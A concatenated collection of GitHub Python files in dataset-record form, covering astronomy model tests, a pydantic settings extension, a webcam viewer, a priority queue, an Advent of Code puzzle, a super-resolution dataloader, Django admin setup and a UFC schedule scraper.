ABtoVegafile = os.path.join(root_dir, 'data/convert_AB_to_Vega.txt')\n model_file = os.path.join(root_dir, 'model/MIST_v0.31/HBlim005/MIST_v0.31_feh_p0.15_afe_p0.0_vvcrit0.4_03to8M_HBlim005_full.iso.cmd')\n # Read in 2MASS J magnitudes from this model file:\n index2MASSJ = 12\n modelvalues = np.array(cread.get_values(model_file, index2MASSJ, mode='model'))\n\n correctedmags = np.array(magcorr.ABtoVega(modelvalues, index2MASSJ))\n corr2MASSJ = 0.8940495232\n HYADESdmod = 3.33\n\n # Changed this because new model files do not require AB correction, only distance modulus:\n self.assertEqual(all(correctedmags == modelvalues + HYADESdmod), True) \n\n# Tests cmdset in 'data' mode:\nclass Testcmdset(TestCase):\n def test_cmdset(self):\n root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n data_dir = os.path.join(root_dir, 'data')\n specific_data_dir = os.path.join(data_dir, 'Hyades')\n data_file = os.path.join(specific_data_dir, 'goldman_Hyades2MASS.txt')\n\n # Indices of the J, Jerr, H, and Herr columns:\n indices = (5, 6, 7, 8)\n\n dataset = data.cmdset('data', data_file = data_file, usecol = indices)\n \n self.assertEqual(isinstance(dataset.magnitudes, pd.core.frame.DataFrame),True)\n self.assertEqual(isinstance(dataset.uncertainties, pd.core.frame.DataFrame),True)\n\n Jband = dataset.makeBand(0)\n \n self.assertEqual(Jband[0][0], dataset.magnitudes.values[0][0])\n \n# ' ' in 'model' mode. Also tests isochrones:\nclass TestIso(TestCase):\n def test_iso(self):\n root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n model_dir = os.path.join(root_dir, 'model')\n modeltype_dir = os.path.join(model_dir, 'MIST_v0.31')\n modelrun_dir = os.path.join(modeltype_dir, 'HBlim005')\n model_file = os.path.join(modelrun_dir, 'MIST_v0.31_feh_p0.15_afe_p0.0_vvcrit0.4_03to8M_HBlim005_full.iso.cmd')\n\n #Indices of the J and H bands:\n indices = (12, 13)\n\n dataset = data.cmdset('model', data_file = model_file, usecol = indices)\n \n self.assertEqual(isinstance(dataset.magnitudes, pd.core.frame.DataFrame),True)\n \n isoch = isochrone(dataset, 8.8)\n\n self.assertEqual(isoch.age <= 8.8 ,True)\n\n isoset = dataset.makeisoset(8.0, 9.6)\n\n self.assertEqual(isoset[0].age < isoset[-1].age, True)\n\n self.assertEqual(isinstance(isoch.isogetmag(1.0, 0), float), True)\n \n self.assertEqual(isinstance(isointerpmag(dataset, initmass=1.0, age=8.8, age_array=[iso.age for iso in isoset], band=0), float), True)\n\n# test cmdfit.py:\nclass TestCMDFIT(TestCase):\n def test_cmdfit(self):\n\n root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n data_dir = os.path.join(root_dir, 'data')\n specific_data_dir = os.path.join(data_dir, 'Hyades')\n data_file = os.path.join(specific_data_dir, 'goldman_Hyades2MASS.txt')\n\n # Indices of the J, Jerr, H, and Herr columns:\n dindices = (5, 6, 7, 8)\n mindices = (12, 13)\n\n sampler = fitsingle('data', ndim=5,nwalkers=12,nsteps=4,data_file=data_file, datausecol=dindices, modelusecol=mindices, default=True, test=True)\n\n samples = sampler.chain[:,:,:]\n\n self.assertEqual(np.isfinite(samples).all(), True)\n\n allsampler= fitall('data', nwalkers=4, nsteps=4, data_file=data_file, datausecol=dindices, modelusecol=mindices, default=True, test=True)\n\n samples = allsampler.chain[:,:,:]\n\n self.assertEqual(np.isfinite(samples).all(), True)\n\n \n","repo_name":"sgossage/CMDfit","sub_path":"cmdfit/tests/test_fit.py","file_name":"test_fit.py","file_ext":"py","file_size_in_byte":4815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6112026238","text":"from pydantic_settings_external.version import PYDANTIC_MAJOR_VERSION\n\nif PYDANTIC_MAJOR_VERSION != \"1\":\n raise ImportError(\"This package required Pydantic v1\")\n\nfrom typing import Any, Dict, Tuple\n\nfrom pydantic import BaseSettings as PydanticBaseSettings\nfrom pydantic.env_settings import SettingsSourceCallable\n\nfrom pydantic_settings_external.exceptions import ErrorType, ProviderError\nfrom pydantic_settings_external.utils import get_field_value, log_error_msg\n\n\ndef external_settings_source(settings: PydanticBaseSettings) -> Dict[str, Any]: # C901\n d: Dict[str, Any] = {}\n\n for field in settings.__fields__.values():\n try:\n d[field.alias] = get_field_value(field.name, field.field_info.extra)\n except ProviderError as exc:\n if exc.error_type is not ErrorType.PROVIDER_WAS_NOT_SPECIFIED:\n log_error_msg(exc)\n\n if exc.error_type is ErrorType.INVALID_PROVIDER_INSTANCE:\n raise exc\n\n continue\n\n return d\n\n\nclass BaseSettings(PydanticBaseSettings):\n class Config:\n @classmethod\n def customise_sources(\n cls,\n init_settings: SettingsSourceCallable,\n env_settings: SettingsSourceCallable,\n file_secret_settings: SettingsSourceCallable,\n ) -> Tuple[SettingsSourceCallable, ...]:\n return (\n init_settings,\n env_settings,\n file_secret_settings,\n external_settings_source,\n )\n","repo_name":"aliev/pydantic-settings-external","sub_path":"pydantic_settings_external/pydantic/v1.py","file_name":"v1.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"41272518491","text":"import cv2\nimport time\n#see: https://stackoverflow.com/questions/604749/how-do-i-access-my-webcam-in-python\n\ncv2.namedWindow(\"webcam\")\nvc = cv2.VideoCapture(0)\nvc.set(3, 720)\nvc.set(4, 480)\n#vc.set(cv2.CAP_PROP_FPS, 10) doesn't work\n\nif vc.isOpened(): #test if frame opens\n rval, frame = vc.read()\nelse:\n rval = False\n\nframe_rate = 10\nprev = 0\n\nwhile rval:\n #frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) #color options\n time_elapsed = time.time() - prev\n if time_elapsed > 1./frame_rate: #hardcoded fps limiting\n prev = time.time()\n cv2.imshow(\"webcam\", frame)\n rval, frame = vc.read()\n key = cv2.waitKey(20)\n if key == 27:\n break\n\ncv2.destroyWindow(\"webcam\")\nvc.release()","repo_name":"columbia-university-robotics/mate-rov","sub_path":"2019_workspace/ros/src/vision/scripts/webcam_stream/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"7"} +{"seq_id":"2924532168","text":"# min-heap methods\ndef get_left_child(i, n):\n if 2 * i + 1 < n:\n return 2 * i + 1\n return None\n\ndef get_right_child(i, n):\n if 2 * i + 2 < n:\n return 2 * i + 2\n return None\n\ndef get_parent(i):\n if i > 0:\n return (i - 1) // 2\n return None\n\ndef sift_up(a, i, n):\n p = get_parent(i)\n while p is not None and a[p] > a[i]:\n a[p], a[i] = a[i], a[p]\n i = p\n p = get_parent(i)\n\ndef sift_down(a, i, n):\n l = get_left_child(i, n)\n r = get_right_child(i, n)\n\n m = i\n if l is not None and a[l] < a[m]:\n m = l\n if r is not None and a[r] < a[m]:\n m = r\n \n if m == i: return\n \n a[i], a[m] = a[m], a[i]\n\n sift_down(a, m, n)\n\n\n#priority queue methods\ndef pop_min(a):\n if len(a) == 0:\n return '*'\n a[0], a[-1] = a[-1], a[0]\n sift_down(a, 0, len(a) - 1)\n return a.pop()\n\ndef push(a, x):\n a.append(x)\n sift_up(a, len(a)-1, len(a))\n\ndef decrease_key(a, keys, x, y):\n v = keys[x]\n keys[x] = y\n ind = a.index(v)\n a[ind] = y\n sift_up(a, ind, len(a))\n \n\na = []\nkeys = dict()\nwith open('priorityqueue.in') as fin,\\\n open('priorityqueue.out', 'w') as fout:\n for ind, _command in enumerate(fin):\n command = _command.split()\n if command[0] == 'push':\n x = int(command[1])\n keys[ind + 1] = x\n push(a, x)\n elif command[0] == 'extract-min':\n fout.write(str(pop_min(a)))\n fout.write('\\n')\n elif command[0] == 'decrease-key':\n x = int(command[1])\n y = int(command[2])\n decrease_key(a, keys, x, y)\n\n\n\n\n\n\n\n\n\n \n \n","repo_name":"Bazalii/Algorithms","sub_path":"Lab3/Task3/priorityqueue.py","file_name":"priorityqueue.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"20479706198","text":"import src # My utility functions\nimport numpy as np\n\nSIGNAL = np.array([int(n) for n in src.read()[0]])\n\n\ndef fft(signal, iterations=100):\n n = len(signal)\n pattern = np.array([0, 1, 0, -1])\n transforms = np.array([np.tile(pattern.repeat(i), n // (4*i) + 1)[1:n+1] for i in range(1, n+1)])\n new_signal = src.repeat(lambda sig: abs(transforms @ sig) % 10, signal, iterations)\n return ''.join(str(n) for n in new_signal[:8])\n\n\ndef find_message(signal, iterations=100):\n offset = int(''.join(str(n) for n in signal[:7]))\n n = len(signal)\n size = 10_000 * n - offset\n assert size < 5000 * n, \"This algorithm is unfit for smaller offsets.\"\n sig = np.array(list(SIGNAL) * (size // n + 1))[-size:]\n new_sig = src.repeat(lambda s: np.cumsum(s) % 10, sig[::-1], iterations)\n return ''.join(str(n) for n in new_sig[-8:][::-1])\n\n\ndef main(signal=None):\n signal = signal or SIGNAL\n\n print(\"Part One:\")\n ans1 = fft(signal) # 74369033\n print(f\"After 100 phases of FFT, the signal starts with {ans1}.\")\n\n print(\"\\nPart Two:\")\n ans2 = find_message(signal) # 19903864\n print(f\"The embedded 8-digit message is {ans2}.\")\n src.clip(ans2)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Nomen-Heroum/Advent_of_Code","sub_path":"2019/day16.py","file_name":"day16.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72868715102","text":"import os\nimport cv2\nimport random\nimport numpy as np\nfrom PIL import Image\nfrom glob import glob\nimport matplotlib.pyplot as plt\nfrom torch.utils.data import IterableDataset, DataLoader\nimport torch.npu\nimport os\nNPU_CALCULATE_DEVICE = 0\nif os.getenv('NPU_CALCULATE_DEVICE') and str.isdigit(os.getenv('NPU_CALCULATE_DEVICE')):\n NPU_CALCULATE_DEVICE = int(os.getenv('NPU_CALCULATE_DEVICE'))\nif torch.npu.current_device() != NPU_CALCULATE_DEVICE:\n torch.npu.set_device(f'npu:{NPU_CALCULATE_DEVICE}')\n\n\n# Ref.: https://github.com/yjn870/ESPCN-pytorch/blob/ab84ee1bccb2978f2f9b88f9e0315d9be12c099e/prepare.py#L16\n# Train Dataset Class\nclass SRTrainDataset(IterableDataset):\n def __init__(self, dirpath_images, scaling_factor, patch_size, stride):\n \"\"\" Training Dataset\n\n :param dirpath_images: path to training images directory\n :param scaling_factor: up-scaling factor to use, default = 3\n :param patch_size: size of sub-images to be extracted\n :param stride: stride used for extracting sub-images\n \"\"\"\n\n self.dirpath_images = dirpath_images\n self.scaling_factor = scaling_factor\n self.patch_size = patch_size\n self.stride = stride\n\n def __iter__(self):\n for fpath_image in glob(os.path.join(self.dirpath_images, \"*.png\")):\n # Load HR image: rH x rW x C, r: scaling factor\n hr_image = Image.open(fpath_image).convert('RGB')\n hr_width = (hr_image.width // self.scaling_factor) * self.scaling_factor\n hr_height = (hr_image.height // self.scaling_factor) * self.scaling_factor\n hr_image = hr_image.resize((hr_width, hr_height), resample=Image.BICUBIC)\n\n # LR Image: H x W x C\n # As in paper, Sec. 3.2: sub-sample images by up-scaling factor\n lr_image = hr_image.resize((hr_width // self.scaling_factor, hr_height // self.scaling_factor), resample=Image.BICUBIC)\n\n hr_image = np.array(hr_image).astype(np.float32)\n lr_image = np.array(lr_image).astype(np.float32)\n\n # Convert BGR to YCbCr\n hr_image = cv2.cvtColor(hr_image, cv2.COLOR_RGB2YCrCb)\n lr_image = cv2.cvtColor(lr_image, cv2.COLOR_RGB2YCrCb)\n\n # As per paper, using only the luminescence channel gave the best outcome\n hr_y = hr_image[:, :, 0]\n lr_y = lr_image[:, :, 0]\n\n # Get sub-image from Ihr and Ilr as per Sec. 3.2 in paper\n # using patch_size = 17 and stride = 13\n # This ensures that all pixels in the original image appear once and only once as the ground truth of the\n # training data\n rows = lr_y.shape[0]\n cols = lr_y.shape[1]\n for i in range(0, rows - self.patch_size + 1, self.stride):\n for j in range(0, cols - self.patch_size + 1, self.stride):\n # lr_crop: w = 17, h = 17\n lr_crop = lr_y[i:i + self.patch_size, j:j + self.patch_size]\n # hr_crop: w = 17 * r, h = 17 * r\n hr_crop = hr_y[i * self.scaling_factor:i * self.scaling_factor + self.patch_size * self.scaling_factor,\n j * self.scaling_factor:j * self.scaling_factor + self.patch_size * self.scaling_factor]\n lr_crop = np.expand_dims(lr_crop / 255.0, axis=0)\n hr_crop = np.expand_dims(hr_crop / 255.0, axis=0)\n yield lr_crop, hr_crop\n\n def __len__(self):\n return len(self.all_images)\n\n\n# Valid Dataset Class\nclass SRValidDataset(IterableDataset):\n def __init__(self, dirpath_images, scaling_factor):\n \"\"\" Validation Dataset\n\n :param dirpath_images: path to validation images directory\n :param scaling_factor: up-scaling factor to use, default = 3\n \"\"\"\n\n self.dirpath_images = dirpath_images\n self.scaling_factor = scaling_factor\n\n def __iter__(self):\n for fpath_image in glob(os.path.join(self.dirpath_images, \"*.png\")):\n # Load HR image: rH x rW x C, r: scaling factor\n hr_image = Image.open(fpath_image).convert('RGB')\n hr_width = (hr_image.width // self.scaling_factor) * self.scaling_factor\n hr_height = (hr_image.height // self.scaling_factor) * self.scaling_factor\n hr_image = hr_image.resize((hr_width, hr_height), resample=Image.BICUBIC)\n\n # LR Image: H x W x C\n # As in paper, Sec. 3.2: sub-sample images by up-scaling factor\n lr_image = hr_image.resize((hr_width // self.scaling_factor, hr_height // self.scaling_factor), resample=Image.BICUBIC)\n\n hr_image = np.array(hr_image).astype(np.float32)\n lr_image = np.array(lr_image).astype(np.float32)\n\n # Convert BGR to YCbCr\n hr_image = cv2.cvtColor(hr_image, cv2.COLOR_RGB2YCrCb)\n lr_image = cv2.cvtColor(lr_image, cv2.COLOR_RGB2YCrCb)\n\n # As per paper, using only the luminescence channel gave the best outcome\n hr_y = hr_image[:, :, 0]\n lr_y = lr_image[:, :, 0]\n\n lr_y = np.expand_dims(lr_y / 255.0, axis=0)\n hr_y = np.expand_dims(hr_y / 255.0, axis=0)\n yield lr_y, hr_y\n\n def __len__(self):\n return len(self.all_images)\n\n\n# Ref.: https://discuss.pytorch.org/t/how-to-shuffle-an-iterable-dataset/64130/6\nclass ShuffleDataset(IterableDataset):\n def __init__(self, dataset, buffer_size):\n super().__init__()\n self.dataset = dataset\n self.buffer_size = buffer_size\n\n def __iter__(self):\n shufbuf = []\n try:\n dataset_iter = iter(self.dataset)\n for i in range(self.buffer_size):\n shufbuf.append(next(dataset_iter))\n except:\n self.buffer_size = len(shufbuf)\n\n try:\n while True:\n try:\n item = next(dataset_iter)\n evict_idx = random.randint(0, self.buffer_size - 1)\n yield shufbuf[evict_idx]\n shufbuf[evict_idx] = item\n except StopIteration:\n break\n while len(shufbuf) > 0:\n yield shufbuf.pop()\n except GeneratorExit:\n pass\n\n\ndef get_data_loader(dirpath_train, dirpath_val, scaling_factor, patch_size, stride):\n \"\"\" Function to return train/val data loader\n\n :param dirpath_train (str): path to directory containing high resolution training images\n :param dirpath_val (str): path to directory containing high resolution validation images\n :param scaling_factor (int): Number by which to scale the lr image to hr image\n :param patch_size (int): size of sub-images extracted from original images\n :param stride (int): sub-images extraction stride\n :return (torch.utils.data.DataLoader): training and validation data loader\n \"\"\"\n # As per paper, Sec. 3.2, sub-images are extracted only during the training phase\n dataset = SRTrainDataset(dirpath_images=dirpath_train,\n scaling_factor=scaling_factor,\n patch_size=patch_size,\n stride=stride)\n train_dataset = ShuffleDataset(dataset, 1024)\n train_loader = DataLoader(train_dataset,\n drop_last=True,\n batch_size=16,\n num_workers=4,\n pin_memory=True)\n\n valid_dataset = SRValidDataset(dirpath_images=dirpath_val,\n scaling_factor=scaling_factor)\n val_loader = DataLoader(valid_dataset,\n batch_size=1,\n pin_memory=True)\n\n return train_loader, val_loader\n\n\nif __name__ == '__main__':\n # Test DataLoaders\n train_loader, val_loader = get_data_loader(dirpath_train=\"./dataset/train\",\n dirpath_val=\"./dataset/val\",\n scaling_factor=3,\n patch_size=17,\n stride=13)\n\n for idx, (lr_image, hr_image) in enumerate(train_loader):\n print(f\"Training - lr_image: {lr_image.shape}, hr_image: {hr_image.shape}\")\n break\n\n for idx, (lr_image, hr_image) in enumerate(val_loader):\n print(f\"Validation - lr_image: {lr_image.shape}, hr_image: {hr_image.shape}\")\n break\n\n for idx, (lr_image, hr_image) in enumerate(train_loader):\n print(f\"lr_image: {lr_image.shape}, hr_image: {hr_image.shape}\")\n lr = lr_image[0].numpy().transpose(1, 2, 0)\n hr = hr_image[0].numpy().transpose(1, 2, 0)\n print(f\"{lr.shape}, {hr.shape}\")\n fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(20, 10))\n ax1.imshow(lr)\n ax1.set_title(\"Low Res\")\n ax2.imshow(hr)\n ax2.set_title(\"High Res\")\n plt.show()\n break\n","repo_name":"Ascend/ModelZoo-PyTorch","sub_path":"PyTorch/dev/cv/image_classification/ESPCN_ID2919_for_PyTorch/dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":8994,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"7"} +{"seq_id":"74581629341","text":"def make_shirt(size,words):\n print(\"the size of shirt is \" + size +\n \", and the words on it is \" + words)\n \nsize = input(\"the size you want: \\n\")\nword = input(\"the word you want: \\n\")\n\nmake_shirt(size,word)\n\nprint('\\n')\n\ndef make_shirt2(size = 'L',words = 'i love Python'):\n print(\"the size of shirt is \" + size +\n \", and the words on it is \" + words)\n\na = 0\nprint(\"if you don't decied yet ,type no please\")\nwhile a < 3:\n size1 = input(\"the size you want: \\n\")\n word2 = input(\"the word you want: \\n\")\n if size1.lower() == 'no' and word2.lower() == 'no':\n make_shirt2()\n elif size1.lower() == 'no' and word2.lower() !='no':\n make_shirt2(words=word2)\n elif size1.lower() != 'no' and word2.lower() == 'no':\n make_shirt2(size=size1)\n else:\n make_shirt2(size=size1,words=word2)\n a = a + 1\n\nprint('\\n')\n\ndef describe_city(name,country = 'a'):\n print(name + \" is in \" + country)\nb=0\nwhile b < 3:\n name1 = input(\"a city's name please\")\n country1 = input(\"it's country please\")\n if country1:\n describe_city(name = name1,country = country1)\n else:\n describe_city(name = name1)\n b = b+1","repo_name":"Gatanot/Python","sub_path":"8.3_8.5.py","file_name":"8.3_8.5.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"552670336","text":"\"\"\"Configure and run app server.\"\"\"\nimport os\n\nfrom dotenv import load_dotenv\nfrom pydantic import ValidationError\n\nfrom anomaly_data_viz.app import App\nfrom anomaly_data_viz.config import AppConfig\n\n\ndef main() -> int:\n \"\"\"Main function, entrypoint for running app server.\"\"\"\n load_dotenv()\n try:\n config_data = {\n \"name\": str(os.environ.get(\"APP_NAME\")),\n \"title\": str(os.environ.get(\"APP_TITLE\")),\n \"debug\": bool(os.environ.get(\"DEBUG\")),\n \"host\": str(os.environ.get(\"APP_HOST\")),\n \"port\": str(os.getenv(\"APP_PORT\")),\n \"repository\": str(os.environ.get(\"APP_REPOSITORY\")),\n \"assets_folder\": str(os.environ.get(\"APP_ASSETS_FOLDER\")),\n }\n app_config = AppConfig(**config_data)\n App.app.run(debug=app_config.debug, host=app_config.host, port=app_config.port)\n # App.app.run( *app_config.__dict__ )\n return 0\n except ValidationError as e:\n print(e.json())\n return -1\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Franklin-X-Ray-Archives/anomaly-detection-data-viz","sub_path":"src/anomaly_data_viz/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"10849756306","text":"import cv2\nimport numpy as np\nimport base64\n\ndef read_b64(text):\n '''\n Convert base64 encoded image to OpenCV Imge format\n \n Args:\n text (str): base64 encoded image\n \n Returns:\n [img]: OpenCV Image\n '''\n text = str(text)\n if ',' in text:\n encoded_data = text.split(',')[1]\n else:\n encoded_data = text\n\n np_arr = np.fromstring(base64.b64decode(encoded_data), np.uint8)\n img = cv2.imdecode(np_arr, cv2.IMREAD_COLOR)\n return img\n\ndef read_from_file(file_path):\n '''\n Read Image from File\n '''\n return cv2.imread(file_path)\n\ndef image_to_b64(img):\n '''\n Convert Image to Base64 Format\n '''\n _, buffer = cv2.imencode(\".jpg\", img)\n # _, buffer = cv2.imencode(\".jpg\", cv2.cvtColor(img, cv2.COLOR_RGB2BGR))\n img_as_text = base64.b64encode(buffer)\n return img_as_text.decode(\"utf-8\")","repo_name":"ravikantvicky/doc-analyzer","sub_path":"rest-services/image-processor/image_processor/utils/image_utils.py","file_name":"image_utils.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"16729512581","text":"import awkward as ak\nfrom . import log\nlog = log.getChild(__name__)\n\ndef _select(ak_array, is_signal=True, truth_based=True, cutflow_dict={}, verbose=False):\n \"\"\"\n \"\"\"\n if 'initial' in cutflow_dict.keys():\n cutflow_dict['initial'] += len(ak_array)\n else:\n cutflow_dict['initial'] = len(ak_array)\n\n if verbose:\n log.info('--- cutflow ---')\n log.info('initial: {}'.format(cutflow_dict['initial']))\n\n # build the higgs object (subset of truth particles)\n if truth_based and is_signal:\n ak_array['higgs'] = ak_array.TruthParticles___NominalAuxDyn[ak_array.TruthParticles___NominalAuxDyn.pdgId == 25]\n ak_array = ak_array[ak.num(ak_array.higgs) == 2]\n if 'two higges' in cutflow_dict.keys():\n cutflow_dict['two higges'] += len(ak_array)\n else:\n cutflow_dict['two higges'] = len(ak_array)\n\n if verbose:\n log.info('two higges: {}'.format(cutflow_dict['two higges']))\n\n # build the selected taus container (simple truth matching selection)\n if truth_based:\n ak_array['taus'] = ak_array.TauJets___NominalAuxDyn[ak_array.TauJets___NominalAuxDyn.TATTruthMatch == 15]\n if 'two taus' in cutflow_dict.keys():\n cutflow_dict['two taus'] += len(ak_array)\n else:\n cutflow_dict['two taus'] = len(ak_array)\n\n if verbose:\n log.info('two taus: {}'.format(cutflow_dict['two taus']))\n\n # apply tau ID\n ak_array['taus'] = ak_array.taus[ak_array.taus.isRNNMedium == 1]\n ak_array = ak_array[ak.num(ak_array.taus) == 2]\n if 'two medium taus' in cutflow_dict.keys():\n cutflow_dict['two medium taus'] += len(ak_array)\n else:\n cutflow_dict['two medium taus'] = len(ak_array)\n \n if verbose:\n log.info('two medium taus: {}'.format(cutflow_dict['two medium taus']))\n\n\n # build the selected b-jets container (simple truth matching selection)\n if truth_based:\n ak_array['bjets'] = ak_array.AntiKt4EMPFlowJets_BTagging201903___NominalAuxDyn[ak_array.AntiKt4EMPFlowJets_BTagging201903___NominalAuxDyn.isBJet == 1]\n ak_array = ak_array[ak.num(ak_array.bjets) == 2]\n if 'two b-jets' in cutflow_dict.keys():\n cutflow_dict['two b-jets'] += len(ak_array)\n else:\n cutflow_dict['two b-jets'] = len(ak_array)\n \n if verbose:\n log.info('two b-jets: {}'.format(cutflow_dict['two b-jets']))\n\n\n return ak_array\n","repo_name":"qbuat/mhh_estimator","sub_path":"bbtautau/selector.py","file_name":"selector.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36672642708","text":"from django.contrib import admin\r\nfrom .models import Entry, Tag, Quotation, Blogmark, Series\r\nfrom django.db.models.functions import Length\r\n\r\n\r\nclass BaseAdmin(admin.ModelAdmin):\r\n date_hierarchy = \"created_time\"\r\n raw_id_fields = (\"tags\",)\r\n list_display = (\"__str__\", \"slug\", \"created_time\", \"tag_summary\")\r\n autocomplete_fields = (\"tags\",)\r\n exclude = [\"search_document\"]\r\n\r\n\r\n@admin.register(Entry)\r\nclass EntryAdmin(admin.ModelAdmin):\r\n date_hierarchy = \"created_time\"\r\n list_display = (\"__str__\", \"slug\", \"created_time\", \"status\")\r\n autocomplete_fields = (\"tags\",)\r\n exclude = [\"search_document\"]\r\n search_fields = (\"tags__tag\", \"title\", \"body\")\r\n prepopulated_fields = {\"slug\": (\"title\",)}\r\n readonly_fields = [\"metadata\"]\r\n fieldsets = [\r\n (\r\n None,\r\n {\r\n \"fields\": [\r\n \"title\",\r\n \"slug\",\r\n \"tags\",\r\n \"created_time\",\r\n \"author\",\r\n \"status\",\r\n \"series\",\r\n \"content\",\r\n ]\r\n },\r\n ),\r\n (\r\n \"Advanced\",\r\n {\r\n \"classes\": (\"collapse\",),\r\n \"fields\": [\r\n (\"longitude\", \"latitude\"),\r\n \"metadata\",\r\n \"views\",\r\n ],\r\n },\r\n ),\r\n ]\r\n\r\n\r\n@admin.register(Quotation)\r\nclass QuotationAdmin(BaseAdmin):\r\n search_fields = (\"tags__tag\", \"quotation\")\r\n prepopulated_fields = {\"slug\": (\"source\",)}\r\n\r\n\r\n@admin.register(Blogmark)\r\nclass BlogmarkAdmin(BaseAdmin):\r\n search_fields = (\"tags__tag\", \"commentary\")\r\n prepopulated_fields = {\"slug\": (\"link_title\",)}\r\n\r\n\r\n@admin.register(Tag)\r\nclass TagAdmin(admin.ModelAdmin):\r\n search_fields = (\"tag\",)\r\n fieldsets = [\r\n (\r\n None,\r\n {\r\n \"fields\": [\r\n \"tag\",\r\n ]\r\n },\r\n ),\r\n ]\r\n\r\n def get_search_results(self, request, queryset, search_term):\r\n search_term = search_term.strip()\r\n if search_term:\r\n return (\r\n queryset.filter(tag__icontains=search_term)\r\n .annotate(tag_length=Length(\"tag\"))\r\n .order_by(\"tag_length\"),\r\n False,\r\n )\r\n else:\r\n return queryset.none(), False\r\n\r\n\r\n@admin.register(Series)\r\nclass SeriesAdmin(admin.ModelAdmin):\r\n prepopulated_fields = {\"slug\": (\"title\",)}\r\n","repo_name":"mbryantms/architectblog","sub_path":"architectblog/blog/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38616025229","text":"#-*- coding:utf8 -*-\n\nclass Cat:\n #属性\n def __init__(self,name=\"Cat\"):\n self.name = name\n #方法\n def eat(self):\n print(\"%s eat\" % self.name)\n \n def drink(self):\n print(\"%s drink\"% self.name)\n \n#创建对象\ntom = Cat(\"tom\")\n\n#调用实例方法\ntom.eat()\ntom.drink()\n\n#已有的修改\ntom.name = \"a\"\n#没有的添加\ntom.age = 1\n\n#多个实例\nmaoge = Cat()\nmaoge.name = \"lanmao\"\nmaoge.eat()","repo_name":"alexwang19930101/PythonBase","sub_path":"面向对象/定义类.py","file_name":"定义类.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"12027667243","text":"import requests\nfrom asyncpg import UniqueViolationError\nfrom bs4 import BeautifulSoup\n\nfrom tgbot.models.custom_models import Events, UpcomingMatches, PastMatches\n\nurl = \"https://www.espn.com/mma/schedule/_/league/ufc\"\n\nheaders = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\",\n \"Accept-Language\": \"ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"Sec-Fetch-Dest\": \"document\",\n \"Sec-Fetch-Mode\": \"navigate\",\n \"Sec-Fetch-Site\": \"none\",\n \"Sec-Fetch-User\": \"?1\",\n \"If-Modified-Since\": \"Mon, 14 Aug 2023 16:03:31 GMT\"\n}\n\n\nasync def get_upcoming_matches(link, event):\n page = requests.get(url=link, headers=headers)\n if page.status_code == 200:\n soup = BeautifulSoup(page.text, 'html.parser')\n sections = soup.find_all(name=\"section\", attrs={\"class\": \"Card MMAFightCard\"})\n for section in sections:\n card = section.find(name=\"h3\", attrs={\"class\": \"Card__Header__Title Card__Header__Title--no-theme\"}).text\n matches = section.find_all(name=\"div\", attrs={\"class\": \"MMAGamestrip flex items-center justify-center\"})\n for match in matches:\n competitors = match.find_all(name=\"div\",\n attrs={\"class\": \"MMACompetitor__Detail flex flex-column justify-center\"})\n cnt = 1\n for competitor in competitors:\n if cnt == 1:\n first_competitor = competitor.find(name=\"h2\").text\n first_competitor_wins_loses = competitor.find(name=\"div\").text if competitor.find(name=\"div\") \\\n else None\n cnt += 1\n else:\n second_competitor = competitor.find(name=\"h2\").text\n second_competitor_wins_loses = competitor.find(name=\"div\").text if competitor.find(name=\"div\") \\\n else None\n match_number = match.find(name=\"div\", attrs={\n \"class\": \"ScoreCell__ScoreDate Gamestrip__ScoreDate clr-gray-04 h9\"}).text\n match_number = int(match_number.strip().strip(\"Match \"))\n\n odds = match.find(name=\"div\", attrs={\"class\": \"ScoreCell__Odds Gamestrip__Odds clr-gray-03 n9\"}).text \\\n if match.find(name=\"div\",\n attrs={\"class\": \"ScoreCell__Odds Gamestrip__Odds clr-gray-03 n9\"}) else None\n\n match = UpcomingMatches(\n card=card,\n first_competitor=first_competitor,\n first_competitor_wins_loses=first_competitor_wins_loses,\n second_competitor=second_competitor,\n second_competitor_wins_loses=second_competitor_wins_loses,\n match_number=match_number,\n odds=odds,\n event_title=event.event_title,\n )\n await match.create()\n\n\nasync def get_past_matches(link, event):\n page = requests.get(url=link, headers=headers)\n if page.status_code == 